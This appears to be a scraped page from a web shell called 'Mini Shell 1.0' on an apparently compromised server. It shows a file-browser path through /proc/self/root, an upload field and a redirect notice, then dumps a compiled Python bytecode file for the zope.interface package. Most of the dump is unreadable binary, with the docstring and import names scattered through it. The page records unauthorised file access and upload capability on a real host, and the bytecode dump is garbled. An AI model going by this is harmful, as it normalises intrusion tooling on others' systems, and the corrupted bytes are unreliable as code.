HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/zope/interface/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/zope/interface/__pycache__/__init__.cpython-311.pyc
�

JDvc'����dZdZddlmZddlmZe��[ddlmZddlmZddlmZddlm	Z	dd	lm
Z
dd
lmZddlmZddlm
Z
dd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ee ��de!e ��zZ"e#d�e"D����sJ�d S)!a�Interfaces

This package implements the Python "scarecrow" proposal.

The package exports two objects, `Interface` and `Attribute` directly. It also
exports several helper methods. Interface is used to create an interface with
a class statement, as in:

  class IMyInterface(Interface):
    '''Interface documentation
    '''

    def meth(arg1, arg2):
        '''Documentation for meth
        '''

    # Note that there is no self argument

To find out what you can do with interfaces, see the interface
interface, `IInterface` in the `interfaces` module.

The package has several public modules:

  o `declarations` provides utilities to declare interfaces on objects. It
    also provides a wide range of helpful utilities that aid in managing
    declared interfaces. Most of its public names are however imported here.

  o `document` has a utility for documenting an interface as structured text.

  o `exceptions` has the interface-defined exceptions

  o `interfaces` contains a list of all public interfaces for this package.

  o `verify` has utilities for verifying implementations of interfaces.

See the module doc strings for more information.
�restructuredtext�)�	Interface)�_wire)�Declaration)�alsoProvides)�classImplements)�classImplementsFirst)�classImplementsOnly)�
classProvides)�directlyProvidedBy)�directlyProvides)�
implementedBy)�implementer)�implementer_only)�
implements)�implementsOnly)�moduleProvides)�named)�noLongerProvides)�
providedBy)�provider)�Invalid)�	Attribute)�interfacemethod)�	invariant)�taggedValue)�Provides)�IInterfaceDeclaration)rrc#�6K�|]}|t��vV��dS)N)�globals)�.0�ks  �9/usr/lib/python3/dist-packages/zope/interface/__init__.py�	<genexpr>r$`s*����
+�
+�a�1��	�	�>�
+�
+�
+�
+�
+�
+�N)$�__doc__�
__docformat__�zope.interface.interfacerr�zope.interface.declarationsrrrr	r
rrr
rrrrrrrrrr�zope.interface.exceptionsrrrrrr�zope.interface.interfacesr�tuple�__all__�all�r%r#�<module>r0sb��$�$�J#�
�.�.�.�.�.�.�*�*�*�*�*�*������	�3�3�3�3�3�3�4�4�4�4�4�4�7�7�7�7�7�7�<�<�<�<�<�<�;�;�;�;�;�;�5�5�5�5�5�5�:�:�:�:�:�:�8�8�8�8�8�8�5�5�5�5�5�5�3�3�3�3�3�3�8�8�8�8�8�8�2�2�2�2�2�2�6�6�6�6�6�6�6�6�6�6�6�6�-�-�-�-�-�-�8�8�8�8�8�8�2�2�2�2�2�2�0�0�0�0�0�0�-�-�-�-�-�-�.�.�.�.�.�.�4�4�4�4�4�4�.�.�.�.�.�.�0�0�0�0�0�0�1�0�0�0�0�0�<�;�;�;�;�;���$�%�%�%�
$�u�u�-B�'C�'C�
C��
�s�
+�
+�7�
+�
+�
+�+�+�+�+�+�+�+r%